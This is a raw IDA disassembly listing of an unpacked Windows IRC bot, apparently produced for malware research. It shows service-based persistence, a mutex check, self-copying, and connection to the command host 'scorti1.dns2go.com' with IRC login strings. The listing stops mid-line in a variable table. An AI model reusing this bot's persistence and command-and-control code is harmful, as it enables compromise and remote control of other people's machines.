; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 695957AB99909C4F6090491449146924 ; File Name : u:\work\695957ab99909c4f6090491449146924_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServces ; "Windows Servces Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2690000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2670C08h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx call near ptr 26A06D3h nop push eax nop call near ptr 26A060Ah cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2690000h lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 26A0574h nop push eax nop call near ptr 2680000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26A047Ah cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 26A0305h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2690DCCh cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 26903FCh lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 26A0305h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2690DADh push eax push esi push 100000h call near ptr 26907A1h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2670C08h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 26903FCh push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26A060Ah push esi nop call near ptr 2670858h mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 26903FCh mov eax, dword_4DB298 push dword ptr [eax+8] nop call near ptr 26906ADh loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 2690DCCh push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A call near ptr 2690DCCh nop push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 26903FCh inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 26903FCh jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 26903FCh loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 26903FCh jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte 